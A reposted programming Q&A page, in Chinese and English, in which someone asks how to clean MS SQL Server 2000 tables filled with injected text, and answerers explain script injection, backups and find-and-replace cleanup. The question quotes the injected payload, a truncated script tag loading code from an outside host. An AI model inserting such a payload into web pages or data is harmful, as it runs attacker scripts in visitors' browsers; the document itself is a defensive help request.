且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

如何从Sql表中删除病毒

更新时间:2023-02-06 23:17:31

这称为HTML注入(或脚本注入),***的办法是确保它不会在源头发生。从Wiki开始:它将告诉您有关该主题的信息,包括避免它的方法: http://en.wikipedia.org/wiki/ Code_injection [ ^ ]



你必须通过查看数据库中的每个文本字段来自己清理数据,我担心!


表不能直接托管病毒。

看起来您的服务器已被病毒感染 - 这反过来又损坏了服务器。



尝试运行病毒扫描程序在你的服务器上。



就数据而言,希望你有一个数据库备份。


请申请虚拟数据库或保持备份



1.您可以在xls中导出表格并用''

替换该字符串,然后重新导入数据xls sheet



2.使用sql函数来r epair数据,访问这个艺术,

http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all- text-columns / [ ^ ]



快乐编码!

:)

Sir,

I have created one website and host in server, the website is work very well, I Create tables in MS SQL SERVER 2000. In tables all rows and columns data are affected by virus. so how can i remove the virus from table OR how to avoid virus affected in table. Please help me to remove the virus it's very urgent.

Virus data is : "></title><script src="http://ngr61ail.rr.nu/sl.ph

This is called HTML Injection (or Script injection) and the best thing to do is to ensure it doesn't happen at source. Start with Wiki: it will tell you about the subject, including ways to avoid it: http://en.wikipedia.org/wiki/Code_injection[^]

You will have to clean your data yourself by looking at every text field in your database, I'm afraid!


A table cannot directly host a virus.
It looks like your server has been infected by a virus - this has in turn corrupted the server.

Try running a virus scanner on your server.

As far as the data is concerned, hope you have a database backup.


please apply on dummy database or keep backup

1. you can export tables in xls and replace that string with ''
and then re-import data from xls sheet

2. use sql function to repair data, take visit of this artical,
http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all-text-columns/[^]

Happy Coding!
:)